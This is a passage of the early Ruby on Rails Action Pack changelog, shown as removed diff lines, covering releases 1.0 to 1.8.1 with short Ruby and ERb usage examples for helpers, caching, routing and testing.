-* Added accessors to logger, params, response, session, flash, and headers from the view, so you can write <% logger.info "stuff" %> instead of <% @logger.info "others" %> -- more consistent with the preferred way of accessing these attributes and collections from the controller
-
-* Added support for POST data in form of YAML or XML, which is controller through the Content-Type header. Example request:
-
- Content-Type: application/xml
- <request><item><content>HelloWorld</content></item></request>
-
- ...is the same as:
-
- Content-Type: application/x-yaml
- ---
- item:
- content: HelloWorld
-
- ...is the same as:
-
- item[content]=HelloWorld
-
- Which in the end turns into { "item" => { "content" => "HelloWorld" } }. This makes it a lot easier to publish REST web services on top of your regular actions (as they won't care).
-
- Example Curl call:
-
- curl -H 'Content-Type: application/xml' -d '<request><item><content>KillMeMore</content></item></request>' http://www.example.com/service
-
- You can query to find out whether a given request came through as one of these types with:
- - request.post_format? (:url_encoded, :xml or :yaml)
- - request.formatted_post? (for either xml or yaml)
- - request.xml_post?
- - request.yaml_post?
-
-* Added bundling of XmlSimple by Maik Schmidt
-
-* Fixed that render_partial_collection should always return a string (and not sometimes an array, despite <%= %> not caring)
-
-* Added TextHelper#sanitize that can will remove any Javascript handlers, blocks, and forms from an input of HTML. This allows for use of HTML on public sites, but still be free of XSS issues. #1277 [Jamis Buck]
-
-* Fixed the HTML scanner used by assert_tag where a infinite loop could be caused by a stray less-than sign in the input #1270 [Jamis Buck]
-
-* Added functionality to assert_tag, so you can now do tests on the siblings of a node, to assert that some element comes before or after the element in question, or just to assert that some element exists as a sibling #1226 [Jamis Buck]
-
-* Added better error handling for regexp caching expiration
-
-* Fixed handling of requests coming from unknown HTTP methods not to kill the server
-
-* Added that both AssetHelper#stylesheet_link_tag and AssetHelper#javascript_include_tag now accept an option hash as the last parameter, so you can do stuff like: stylesheet_link_tag "style", :media => "all"
-
-* Added FormTagHelper#image_submit_tag for making submit buttons that uses images
-
-* Added ActionController::Base.asset_host that will then be used by all the asset helpers. This enables you to easily offload static content like javascripts and images to a separate server tuned just for that.
-
-* Fixed action/fragment caching using the filestore when a directory and a file wanted to use the same name. Now there's a .cache prefix that sidesteps the conflict #1188 [imbcmdth@hotmail.com]
-
-* Fixed missing id uniqueness in FormTag#radio_button #1207 [Jarkko Laine]
-
-* Fixed assert_redirected_to to work with :only_path => false #1204 [Alisdair McDiarmid]
-
-* Fixed render_partial_collection to output an empty string instead of nil when handed an empty array #1202 [Ryan Carver]
-
-* Improved the speed of regular expression expirations for caching by a factor of 10 #1221 [Jamis Buck]
-
-* Removed dumping of template assigns on the rescue page as it would very easily include a ton of data making page loads take seconds (and the information was rarely helpful) #1222
-
-* Added BenchmarkHelper that can measure the execution time of a block in a template and reports the result to the log. Example:
-
- <% benchmark "Notes section" do %>
- <%= expensive_notes_operation %>
- <% end %>
-
- Will add something like "Notes section (0.345234)" to the log.
-
-* Added ActionController::Caching::Sweeper as an improved an easier to use sweeper. The new sweepers work on a single-step approach instead of two-steps like the old ones. Before
-
- def after_save(record)
- @list = record.is_a?(List) ? record : record.list
- end
-
- def filter(controller)
- controller.expire_page(:controller => "lists", :action => %w( show public feed ), :id => @list.id)
- controller.expire_action(:controller => "lists", :action => "all")
- @list.shares.each { |share| controller.expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
- end
-
- ..after:
-
- def after_save(record)
- list = record.is_a?(List) ? record : record.list
- expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
- expire_action(:controller => "lists", :action => "all")
- list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
- end
-
- The new sweepers can also observe on the actions themselves by implementing methods according to (before|after)_$controller_$action. Example of a callback that'll be called after PagesController#update_title has been performed:
-
- def after_pages_update_title
- expire_fragment(%r{pages/#{controller.assigns["page"].id}/.*})
- end
-
- Note that missing_method is delegated to the controller instance, which is assigned in a before filter. This means that you can call expire_fragment instead of @controller.expire_fragment.
-
-* Added that Fragments#expire_fragment now accepts as a regular expression as the name thereby deprecating expire_matched_fragments
-
-* Fixed that fragments shouldn't use the current host and the path as part of the key like pages does
-
-* Added conditions to around_filters just like before_filter and after_filter
-
-
-*1.8.1* (20th April, 2005)
-
-* Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 [Sam Stephenson]. Example:
-
- xhr :post, :index
-
-* Fixed that Ajax.Base.options.asynchronous wasn't being respected in Ajax.Request (thanks Jon Casey)
-
-* Fixed that :get, :post, and the others should take a flash array as the third argument just like process #1144 [rails@cogentdude.com]
-
-* Fixed a problem with Flash.now
-
-* Fixed stringification on all assigned hashes. The sacrifice is that assigns[:person] won't work in testing. Instead assigns["person"] or assigns(:person) must be used. In other words, the keys of assigns stay strings but we've added a method-based accessor to appease the need for symbols.
-
-* Fixed that rendering a template would require a connection to the database #1146
-
-
-*1.8.0* (19th April, 2005)
-
-* Added assert_tag and assert_no_tag as a much improved alternative to the deprecated assert_template_xpath_match #1126 [Jamis Buck]
-
-* Deprecated the majority of all the testing assertions and replaced them with a much smaller core and access to all the collections the old assertions relied on. That way the regular test/unit assertions can be used against these. Added documentation about how to use it all.
-
-* Added a wide range of new Javascript effects:
- * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 [thomas@fesch.at]
- After the animation is completed, the display property will be set to none.
- This effect will work on relative and absolute positioned elements.
-
- * Effect.Appear as the opposite of Effect.Fade #990 [thomas@fesch.at]
- You should return elements with style="display:none;" or a like class for this to work best and have no chance of flicker.
-
- * Effect.Squish for scaling down an element and making it disappear at the end #972 [thomas@fesch.at]
-
- * Effect.Scale for smoothly scaling images or text up and down #972 [thomas@fesch.at]
-
- * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 [thomas@fesch.at]
-
-* Added Request#xml_http_request? (and an alias xhr?) to that'll return true when the request came from one of the Javascript helper methods (Ajax). This can be used to give one behavior for modern browsers supporting Ajax, another to old browsers #1127 [Sam Stephenson]
-
-* Changed render_partial to take local assigns as the second parameter instead of an explicit object and then the assigns. So the API changes from:
-
- <%= render_partial "account", person, "rules" => regulations.rules %>
-
- ...to:
-
- <%= render_partial "account", :account => person, :rules => regulations.rules %>
-
- The old API will still work, though, and render_partial "account" will still assume :account => @account.
-
-* Added support for web servers that use PATH_INFO instead of REQUEST_URI like IIS #1014 [BradG/Nicholas Seckar]
-
-* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 [Josh Knowles]
-
-* Fixed that you can now pass an alternative :href option to link_to_function/remote in order to point to somewhere other than # if the javascript fails or is turned off. You can do the same with form_remote_tag by passing in :action. #1113 [Sam Stephenson]
-
-* Fixed DateHelper to return values on the option tags such that they'll work properly in IE with form_remote_tag #1024 [Scott Raymond]
-
-* Fixed FormTagHelper#check_box to respect checked #1049 [DelynnB]
-
-* Added that render_partial called from a controller will use the action name as default #828 [Dan Peterson]
-
-* Added Element.toggle, Element.show, and Element.hide to the prototype javascript library. Toggle.display has been deprecated, but will still work #992 [Lucas Carlson]
-
-* Added that deleting a cookie should not just set it to an empty string but also instantly expire it #1118 [todd@robotcoop.com]
-
-* Added AssetTagHelper#image_path, AssetTagHelper#javascript_path, and AssetTagHelper#stylesheet_path #1110 [Larry Halff]
-
-* Fixed url_for(nil) in functional tests #1116 [Alisdair McDiarmid]
-
-* Fixed error handling of broken layouts #1115 [Michael Schubert]
-
-* Added submit_to_remote that allows you to trigger an Ajax form submition at the click of the submission button, which allows for multiple targets in a single form through the use of multiple submit buttons #930 [yrashk@gmail.com]
-
-* Fixed pagination to work with joins #1034 [scott@sigkill.org]
-
-* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 [Dee Zsombor]
-
-* Added :confirm option to link_to_remote just like link_to has #1082 [yrashk@fp.org.ua]
-
-* Added minute_step as an option to select_minute (and the helpers that use it) to jump in larger increments than just 1 minute. At 15, it would return 0, 15, 30, 45 options #1085 [ordwaye@evergreen.edu]
-
-* Fixed that an exception would be thrown when an empty form was submitted #1090 [jan@ulbrich-boerwang.de]
-
-* Moved TextHelper#human_size to NumberHelper#number_to_human_size, but kept an deprecated alias to the old method name
-
-* Fixed that the content-type for some browsers could include an additional \r which made wonky things happen #1067 [Thomas Fuchs]
-
-* Fixed that radio buttons shouldn't have a default size attribute #1074 [hendrik@mans.de]
-
-* Added ActionView::Helpers::InstanceTag::DEFAULT_RADIO_OPTIONS that contains a hash of default options for radio buttons #1074 [hendrik@mans.de]
-
-* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
-
-* Added JavascriptHelper#periodically_call_remote in order to create areas of a page that update automatically at a set interval #945 [Jon Tirsen]
-
-* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 [Stefan Kaes]
-
-* Added simulation of @request.request_uri in functional tests #1038 [Jamis Buck]
-
-* Fixed autolinking to work better in more cases #1013 [Jamis Buck]
-
-* Added the possible of using symbols in form helpers that relate to instance variables like text_field :account, :name in addition to text_field "account", "name"'
-
-* Fixed javascript_include_tag to output type instead of language and conform to XHTML #1018 [Rick Olson]
-
-* Added NumberHelper for common string representations like phone number, currency, and percentage #1015 [DeLynn]
-
-* Added pagination for scaffolding (10 items per page) #964 [mortonda@dgrmm.net]
-
-* Added assert_no_cookie and fixed assert_cookie_equal to deal with non-existing cookies #979 [Jeremy Kemper]
-
-* Fixed :overwrite_param so it doesn't delete but reject elements from @request.parameters #982 [raphinou@yahoo.com]
-
-* Added :method option to verify for ensuring that either GET, POST, etc is allowed #984 [Jamis Buck]
-
-* Added options to set cc, bcc, subject, and body for UrlHelper#mail_to #966 [DeLynn]
-
-* Fixed include_blank for select_hour/minute/second #527 [edward@debian.org]
-
-* Improved the message display on the exception handler pages #963 [Johan Sorensen]
-
-* Fixed that on very rare occasions, webrick would raise a NoMethodError: private method 'split' called for nil #1001 [Flurin Egger]
-
-* Fixed problem with page caching #958 [Rick Olson]
-
-
-*1.7.0* (27th March, 2005)
-
-* Added ActionController::Base.page_cache_extension for setting the page cache file extension (the default is .html) #903 [Andreas]
-
-* Fixed "bad environment variable value" exception caused by Safari, Apache, and Ajax calls #918
-
-* Fixed that pagination_helper would ignore :params #947 [Sebastian Kanthak]
-
-* Added :owerwrite_params back to url_for and friends -- it was AWL since the introduction of Routes #921 [raphinou]
-
-* Added :position option to link_to_remote/form_remote_tag that can be either :before, :top, :bottom, or :after and specifies where the return from the method should be inserted #952 [Matthew McCray/Sam Stephenson]
-
-* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 [Sam Stephenson/court3nay]
-
-* Added include_seconds option as the third parameter to distance_of_time_in_words which will render "less than a minute" in higher resolution ("less than 10 seconds" etc) #944 [thomas@fesch.at]
-
-* Added fourth option to process in test cases to specify the content of the flash #949 [Jamis Buck]
-
-* Added Verifications that allows you to specify preconditions to actions in form of statements like <tt>verify :only => :update_post, :params => "admin_privileges", :redirect_to => { :action => "settings" }</tt>, which ensure that the update_post action is only called if admin_privileges is available as a parameter -- otherwise the user is redirected to settings. #897 [Jamis Buck]
-
-* Fixed Form.Serialize for the JavascriptHelper to also seriliaze password fields #934 [dweitzman@gmail.com]
-
-* Added JavascriptHelper#escape_javascript as a public method (was private) and made it escape both single and double quotes and new lines #940 [mortonda@dgrmm.net]
-
-* Added trailing_slash option to url_for, so you can generate urls ending in a slash. Note that is currently not recommended unless you need it for special reasons since it breaks caching #937 [stian@grytoyr.net]
-
-* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 [Rick Olson]
-
-* Fixed the problems with : and ? in file names for fragment caches on Windows #927 [Rick Olson]
-
-* Added TextHelper#human_size for formatting file sizes, like human_size(1234567) => 1.2 MB #943 [thomas@fesch.at]
-
-* Fixed link_to :confirm #936 [Nicholas Seckar]
-
-* Improved error reporting especially around never shallowing exceptions. Debugging helpers should be much easier now #980 [Nicholas Seckar]
-
-* Fixed Toggle.display in prototype.js #902 [Lucas Carlson]
-
-
-*1.6.0* (22th March, 2005)
-
-* Added a JavascriptHelper and accompanying prototype.js library that opens the world of Ajax to Action Pack with a large array of options for dynamically interacting with an application without reloading the page #884 [Sam Stephenson/David]
-
-* Added pagination support through both a controller and helper add-on #817 [Sam Stephenson]
-
-* Fixed routing and helpers to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Lütke]
-
-* Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 [Caio Chassot]. Example of flash.now:
-
- class SomethingController < ApplicationController
- def save
- ...
- if @something.save
- # will redirect, use flash
- flash[:message] = 'Save successful'
- redirect_to :action => 'list'
- else
- # no redirect, message is for current action, use flash.now
- flash.now[:message] = 'Save failed, review'
- render_action 'edit'
- end
- end
- end
-
-* Added to_param call for parameters when composing an url using url_for from something else than strings #812 [Sam Stephenson]. Example:
-
- class Page
-   def initialize(number)
-     @number = number
-   end
-   # ...
-   def to_param
-     @number.to_s
-   end
- end
-
- You can now use instances of Page with url_for:
-
- class BarController < ApplicationController
-   def baz
-     page = Page.new(4)
-     url = url_for :page => page # => "http://foo/bar/baz?page=4"
-   end
- end
-
-* Fixed form helpers to query Model#id_before_type_cast instead of Model#id as a temporary workaround for Ruby 1.8.2 warnings #818 [DeLynn B]
-
-* Fixed TextHelper#markdown to use blank? instead of empty? so it can deal with nil strings passed #814 [Johan Sörensen]
-
-* Added TextHelper#simple_format as a non-dependency text presentation helper #814 [Johan Sörensen]
-
-* Added that the html options disabled, readonly, and multiple can all be treated as booleans. So specifying <tt>disabled => :true</tt> will give <tt>disabled="disabled"</tt>. #809 [mindel]
-
-* Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 [rayners]. Example:
-
- map.connect 'categories/*path_info', :controller => 'categories', :action => 'show'
-
- A request for /categories/top-level-cat, would give @params[:path_info] with "top-level-cat".
- A request for /categories/top-level-cat/level-1-cat, would give @params[:path_info] with "top-level-cat/level-1-cat" and so forth.
-
- The @params[:path_info] return is really an array, but where to_s has been overwritten to do join("/").
-
-* Fixed options_for_select on selected line issue #624 [Florian Weber]
-
-* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 [Tobias Lütke]
-
-* Fixed :anchor use in url_for #821 [Nicholas Seckar]
-
-* Removed the reliance on PATH_INFO as it was causing problems for caching and inhibited the new non-vhost support #822 [Nicholas Seckar]
-
-* Added assigns shortcut for @response.template.assigns to controller test cases [Jeremy Kemper]. Example:
-
- Before:
-
- def test_list
- assert_equal 5, @response.template.assigns['recipes'].size
- assert_equal 8, @response.template.assigns['categories'].size
- end
-
- After:
-
- def test_list
- assert_equal 5, assigns(:recipes).size
- assert_equal 8, assigns(:categories).size
- end
-
-* Added TagHelper#image_tag and deprecated UrlHelper#link_image_to (recommended approach is to combine image_tag and link_to instead)
-
-* Fixed textilize to be resilient to getting nil parsed (by using Object#blank? instead of String#empty?)
-
-* Fixed that the :multipart option in FormTagHelper#form_tag would be ignored [Yonatan Feldman]
-
-
-*1.5.1* (7th March, 2005)
-
-* Fixed that the routes.rb file wouldn't be found on symlinked setups due to File.expand_path #793 [piotr@t-p-l.com]
-
-* Changed ActiveRecordStore to use Marshal instead of YAML as the latter proved troublesome in persisting circular dependencies. Updating existing applications MUST clear their existing session table from data to start using this updated store #739 [Jamis Buck]
-
-* Added shortcut :id assignment to render_component and friends (before you had to go through :params) #784 [Lucas Carlson]
-
-* Fixed that map.connect should convert arguments to strings #780 [Nicholas Seckar]
-
-* Added UrlHelper#link_to_if/link_to_unless to enable other conditions that just link_to_unless_current #757 [mindel]
-
-* Fixed that single quote was not escaped in a UrlHelper#link_to javascript confirm #549 [Scott Barron]
-
-* Removed the default border on link_image_to (it broke xhtml strict) -- can be specified with :border => 0 #517 [?/caleb]
-
-* Fixed that form helpers would treat string and symbol keys differently in html_options (and possibly create duplicate entries) #112 [Jeremy Kemper]
-
-* Fixed that broken pipe errors (clients disconnecting in mid-request) could bring down a fcgi process
-
-* Added the original exception message to session recall errors (so you can see which class wasnt required)
-
-* Fixed that RAILS_ROOT might not be defined when AP was loaded, so do a late initialization of the ROUTE_FILE #761 [Scott Barron]
-
-* Fix request.path_info and clear up LoadingModule behavior #754 [Nicholas Seckar]
-
-* Fixed caching to be aware of extensions (so you can cache files like api.wsdl or logo.png) #734 [Nicholas Seckar]
-
-* Fixed that Routes would raise NameErrors if a controller component contains characters that are not valid constant names #733 [Nicholas Seckar]
-
-* Added PATH_INFO access from the request that allows urls like the following to be interpreted by rails: http://www.example.com/dispatcher.cgi/controller/action -- that makes it possible to use rails as a CGI under lighttpd and would also allow (for example) Rublog to be ported to rails without breaking existing links to Rublog-powered blogs. #728 [Jamis Buck]
-
-* Fixed that caching the root would result in .html not index.html #731, #734 [alisdair/Nicholas Seckar]
-
-
-*1.5.0* (24th February, 2005)
-
-* Added Routing as a replacement for mod_rewrite pretty urls [Nicholas Seckar]. Read more in ActionController::Base.url_for and on http://manuals.rubyonrails.com/read/book/9
-
-* Added components that allows you to call other actions for their rendered response while execution another action. You can either delegate the entire response rendering or you can mix a partial response in with your other content. Read more on http://manuals.rubyonrails.com/read/book/14
-
-* Fixed that proxy IPs do not follow all RFC1918 nets #251 [caleb@aei-tech.com]
-
-* Added Base#render_to_string to parse a template and get the result back as a string #479
-
-* Fixed that send_file/data can work even if render* has been called before in action processing to render the content of a file to be send for example #601
-
-* Added FormOptionsHelper#time_zone_select and FormOptionsHelper#time_zone_options_for_select to work with the new value object TimeZone in Active Support #688 [Jamis Buck]
-
-* Added FormHelper#file_field and FormTagHelper#file_field_tag for creating file upload fields
-
-* Added :order option for date_select that allows control over the order in which the date dropdowns is used and which of them should be used #619 [Tim Bates]. Examples:
-
- date_select("post", "written_on", :order => [:day, :month, :year])
- date_select("user", "birthday", :order => [:month, :day])
-
-* Added ActionView::Base.register_template_handler for easy integration of an alternative template language to ERb and Builder. See test/controller/custom_handler_test.rb for a usage example #656 [Jamis Buck]
-
-* Added AssetTagHelper that provides methods for linking a HTML page together with other assets, such as javascripts, stylesheets, and feeds.
-
-* Added FormTagHelper that provides a number of methods for creating form tags that doesn't rely on conventions with an object assigned to the template like FormHelper does. With the FormTagHelper, you provide the names and values yourself.
-
-* Added Afghanistan, Iran, and Iraq to the countries list used by FormOptions#country_select and FormOptions#country_options_for_select
-
-* Renamed link_to_image to link_image_to (since thats what it actually does) -- kept alias for the old method name
-
-* Fixed textilize for RedCloth3 to keep doing hardbreaks
-
-* Fixed that assert_template_xpath_matches did not indicate when a path was not found #658 [Eric Hodel]
-
-* Added TextHelper#auto_link to turn email addresses and urls into ahrefs
-
-* Fixed that on validation errors, scaffold couldn't find template #654 [mindel]
-
-* Added Base#hide_action(*names) to hide public methods from a controller that would otherwise have been callable through the URL. For the majority of cases, its preferred just to make the methods you don't want to expose protected or private (so they'll automatically be hidden) -- but if you must have a public method, this is a way to make it uncallable. Base#hidden_actions retrieve the list of all hidden actions for the controller #644 [Nicholas Seckar]
-
-* Fixed that a bunch of methods from ActionController::Base was accessible as actions (callable through a URL) when they shouldn't have been #644 [Nicholas Seckar]
-
-* Added UrlHelper#current_page?(options) method to check if the url_for options passed corresponds to the current page
-
-* Fixed https handling on other ports than 443 [Alan Gano]
-
-* Added follow_redirect method for functional tests that'll get-request the redirect that was made. Example:
-
- def test_create_post
- post :create, "post" => { "title" => "Exciting!" }
- assert_redirected_to :action => "show"
-
- follow_redirect
- assert_rendered_file "post/show"
- end
-
- Limitation: Only works for redirects to other actions within the same controller.
-
-* Fixed double requiring of models with the same name as the controller
-
-* Fixed that query params could be forced to nil on a POST due to the raw post fix #562 [moriq@moriq.com]
-
-* Fixed that cookies shouldn't be frozen in TestRequest #571 [Eric Hodel]
-
-
-*1.4.0* (January 25th, 2005)
-
-* Fixed problems with ActiveRecordStore under the development environment in Rails
-
-* Fixed the ordering of attributes in the xml-decleration of Builder #540 [woeye]
-
-* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 [Tobias Lütke]
-
-* Added support for automatic id-based indexing for lists of items #532 [dblack]. Example:
-
- <% @students.each do |@student| %>
- <%= text_field "student[]", "first_name", :size => "20" %>
- <%= text_field "student[]", "last_name" %>
- <%= text_field "student[]", "grade", :size => "5" %>
- <% end %>
-
- ...would produce, for say David Black with id 123 and a grace of C+:
-
- <input id="student_123_first_name" name="student[123][first_name]" size="20" size="30" type="text" value="David" />
- <input id="student_123_last_name" name="student[123][last_name]" size="30" type="text" value="Black" />
- <input id="student_123_grade" name="student[123][grade]" size="5" type="text" value="C+" />
-
-* Added :application_prefix to url_for and friends that makes it easier to setup Rails in non-vhost environments #516 [Jamis Buck]
-
-* Added :encode option to mail_to that'll allow you to masquarede the email address behind javascript or hex encoding #494 [Lucas Carlson]
-
-* Fixed that the content-header was being set to application/octet_stream instead of application/octet-stream on send_date/file [Alexey]
-
-* Removed the need for passing the binding when using CacheHelper#cache
-
-* Added TestResponse#binary_content that'll return as a string the data sent through send_data/send_file for testing #500 [Alexey]
-
-* Added @request.env['RAW_POST_DATA'] for people who need access to the data before Ruby's CGI has parsed it #505 [Jeremy Kemper]
-
-* Fixed that a default fragment store wan't being set to MemoryStore as intended.
-
-* Fixed that all redirect and render calls now return true, so you can use the pattern of "do and return". Example:
-
- def show
- redirect_to(:action => "login") and return unless @person.authenticated?
- render_text "I won't happen unless the person is authenticated"
- end
-
-* Added that renders and redirects called in before_filters will have the same effect as returning false: stopping the chain. Example:
-
- class WeblogController
- before_filter { |c| c.send(:redirect_to_url("http://www.farfaraway.com")}) }
-
- def hello
- render_text "I will never be called"
- end
- end
-
-
-* Added that only one render or redirect can happen per action. The first call wins and subsequent calls are ignored. Example:
-
- def do_something
- redirect_to :action => "elsewhere"
- render_action "overthere"
- end
-
- Only the redirect happens. The rendering call is simply ignored.
-
-
-*1.3.1* (January 18th, 2005)
-
-* Fixed a bug where cookies wouldn't be set if a symbol was used instead of a string as the key
-
-* Added assert_cookie_equal to assert the contents of a named cookie
-
-* Fixed bug in page caching that prevented it from working at all
-
-
-*1.3.0* (January 17th, 2005)
-
-* Added an extensive caching module that offers three levels of granularity (page, action, fragment) and a variety of stores.
- Read more in ActionController::Caching.
-
-* Added the option of passing a block to ActiveRecordHelper#form in order to add more to the auto-generated form #469 [dom@sisna.com]
-
- form("entry", :action => "sign") do |form|
- form << content_tag("b", "Department")
- form << collection_select("department", "id", @departments, "id", "name")
- end
-
-* Added arrays as a value option for params in url_for and friends #467 [Eric Anderson]. Example:
-
- url_for(:controller => 'user', :action => 'delete', :params => { 'username' => %( paul john steve ) } )
- # => /user/delete?username[]=paul&username[]=john&username[]=steve
-
-* Fixed that controller tests can now assert on the use of cookies #466 [Alexey]
-
-* Fixed that send_file would "remember" all the files sent by adding to the headers again and again #458 [Jeremy Kemper]
-
-* Fixed url rewriter confusion when the controller or action name was a substring of the controller_prefix or action_prefix
-
-* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 [Marcel Molina Jr.]
-
-* Fixed that MemCacheStore wasn't included by default and added default MemCache object pointing to localhost #447 [Lucas Carlson]
-
-* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 [Ryan Davis]
-
-* Fixed that host would choke when cgi.host returned nil #432 [Tobias Lütke]
-
-* Added that form helpers now take an index option #448 [Tim Bates]
-
- Example:
- text_field "person", "name", "index" => 3
-
- Becomes:
- <input type="text" name="person[3][name]" id="person_3_name" value="<%= @person.name %>" />
-
-* Fixed three issues with retrying breakpoints #417 [Florian Gross]
-
- 1. Don't screw up pages that use multiple values for the same parameter (?foo=bar&foo=qux was converted to ?foo=barqux)
- 2. Don't screw up all forms when you click the "Retry with Breakpoint" link multiple times instead of reloading
- (This caused the parameters to be added multiple times for GET forms leading to trouble.)
- 3. Don't add ?BP-RETRY=1 multiple times
-
-* Added that all renders and redirects now return false, so they can be used as the last line in before_filters to stop execution.
-
- Before:
- def authenticate
- unless @session[:authenticated]
- redirect_to :controller => "account", :action => "login"
- return false
- end
- end
-
- After:
- def authenticate
- redirect_to(:controller => "account", :action => "login") unless @session[:authenticated]
- end
-
-* Added conditional filters #431 [Marcel Molina Jr.]. Example:
-
- class JournalController < ActionController::Base
- # only require authentication if the current action is edit or delete
- before_filter :authorize, :only_on => [ :edit, :delete ]
-
- private
- def authorize
- # redirect to login unless authenticated
- end
- end
-
-* Added Base#render_nothing as a cleaner way of doing render_text "" when you're not interested in returning anything but an empty response.
-
-* Added the possibility of passing nil to UrlHelper#link_to to use the link itself as the name
-
-
-*1.2.0* (January 4th, 2005)
-
-* Added MemCacheStore for storing session data in Danga's MemCache system [Bob Cottrell]
- Depends on: MemCached server (http://www.danga.com/memcached/), MemCache client (http://raa.ruby-lang.org/project/memcache/)
-
-* Added thread-safety to the DRbStore #66, #389 [Ben Stiglitz]
-
-* Added DateHelper#select_time and DateHelper#select_second #373 [Scott Baron]
-
-* Added :host and :protocol options to url_for and friends to redirect to another host and protocol than the current.
-
-* Added class declaration for the MissingFile exception #388 [Kent Sibilev]
-
-* Added "short hypertext note with a hyperlink to the new URI(s)" to redirects to fulfill compliance with RFC 2616 (HTTP/1.1) section 10.3.3 #397 [Tim Bates]
-
-* Added second boolean parameter to Base.redirect_to_url and Response#redirect to control whether the redirect is permanent or not (301 vs 302) #375 [Hodel]
-
-* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 [Josh Peek]
-
-* Fixed problems with running multiple functional tests in Rails under 1.8.2 by including hack for test/unit weirdness
-
-* Fixed that @request.remote_ip didn't work in the test environment #369 [Bruno Mattarollo]
-
-
-*1.1.0*
-
-* Added search through session to clear out association caches at the end of each request. This makes it possible to place Active Record objects
- in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 [Tobias Lütke]
-
-* Added more informative exception when using helper :some_helper and the helper requires another file that fails, you'll get an
- error message tells you what file actually failed to load, rather than falling back on assuming it was the helper file itself #346 [dblack]
-
-* Added use of *_before_type_cast for all input and text fields. This is helpful for getting "100,000" back on a integer-based
- validation where the value would normally be "100".
-
-* Added Request#port_string to get something like ":8080" back on 8080 and "" on 80 (or 443 with https).
-
-* Added Request#domain (returns string) and Request#subdomains (returns array).
-
-* Added POST support for the breakpoint retries, so form processing that raises an exception can be retried with the original request [Florian Gross]
-
-* Fixed regression with Base#reset_session that wouldn't use the DEFAULT_SESSION_OPTIONS [adam@the-kramers.net]
-
-* Fixed error rendering of rxml documents to not just swallow the exception and return 0 (still not guessing the right line, but hey)
-
-* Fixed that textilize and markdown would instantiate their engines even on empty strings. This also fixes #333 [Ulysses]
-
-* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum [Ryan Davis]
-
-
-*1.0.1*
-
-* Fixed a bug that would cause an ApplicationController to require itself three times and hence cause filters to be run three times [evl]
-
-
-*1.0*
-
-* Added that controllers will now attempt to require a model dependency with their name and in a singular attempt for their name.
- So both PostController and PostsController will automatically have the post.rb model required. If no model is found, no error is raised,
- as it is then expected that no match is available and the programmer will have included his own models.
-
-* Fixed DateHelper#date_select so that you can pass include_blank as an option even if you don't use start_year and end_year #59 [what-a-day]
-
-* Added that controllers will now search for a layout in $template_root/layouts/$controller_name.r(html|xml), so PostsController will look
- for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 [Marcel Molina Jr.]
-
-* Added FormHelper#radio_button to work with radio buttons like its already possible with check boxes [Michael Koziarski]
-
-* Added TemplateError#backtrace that makes it much easier to debug template errors from unit and functional tests
-
-* Added display of error messages with scaffolded form pages
-
-* Added option to ERB templates to swallow newlines by using <% if something -%> instead of just <% if something %>. Example:
-
- class SomeController < ApplicationController
- <% if options[:scaffold] %>
- scaffold :<%= singular_name %>
- <% end %>
- helper :post
-
- ...produces this on post as singular_name:
-
- class SomeController < ApplicationController
-
- scaffold :post
-
- helper :post
-
- ...where as:
-
- class SomeController < ApplicationController
- <% if options[:scaffold] -%>
- scaffold :<%= singular_name %>
- <% end -%>
- helper :post
-
- ...produces:
-
- class SomeController < ApplicationController
- scaffold :post
- helper :post
-
- [This undocumented gem for ERb was uncovered by bitsweat]
-
-* Fixed CgiRequest so that it'll now accept session options with Symbols as keys (as the documentation points out) [Suggested by Andreas]
-
-* Added that render_partial will always by default include a counter with value 1 unless there is a counter passed in via the
- local_assigns hash that overrides it. As a result, render_collection_of_partials can still be written in terms of render_partial
- and partials that make use of a counter can be called without problems from both render_collection_of_partials as well as
- render_partial #295 [Marcel Molina Jr.]
-
-* Fixed CgiRequest#out to fall back to #write if $stdout doesn't have #syswrite [Jeremy Kemper]
-
-* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes [htonl/Jeremy Kemper]
-
-* Added link_to_image(src, options = {}, html_options = {}). Documentation:
-
- Creates a link tag to the image residing at the +src+ using an URL created by the set of +options+. See the valid options in
- link:classes/ActionController/Base.html#M000021. It's also possible to pass a string instead of an options hash to
- get a link tag that just points without consideration. The <tt>html_options</tt> works jointly for the image and ahref tag by
- letting the following special values enter the options on the image and the rest goes to the ahref:
-
- ::alt: If no alt text is given, the file name part of the +src+ is used (capitalized and without the extension)
- ::size: Supplied as "XxY", so "30x45" becomes width="30" and height="45"
- ::align: Sets the alignment, no special features
-
- The +src+ can be supplied as a...
- * full path, like "/my_images/image.gif"
- * file name, like "rss.gif", that gets expanded to "/images/rss.gif"
- * file name without extension, like "logo", that gets expanded to "/images/logo.png"
-
-* Fixed to_input_field_tag so it no longer explicitly uses InstanceTag.value if value was specified in the options hash [evl]
-
-* Added the possibility of having validate be protected for assert_(in)valid_column #263 [Tobias Lütke]
-
-* Added that ActiveRecordHelper#form now calls url_for on the :action option.
-
-* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Lütke]. Examples:
-
- # Calls Controller#miletone with a GET request
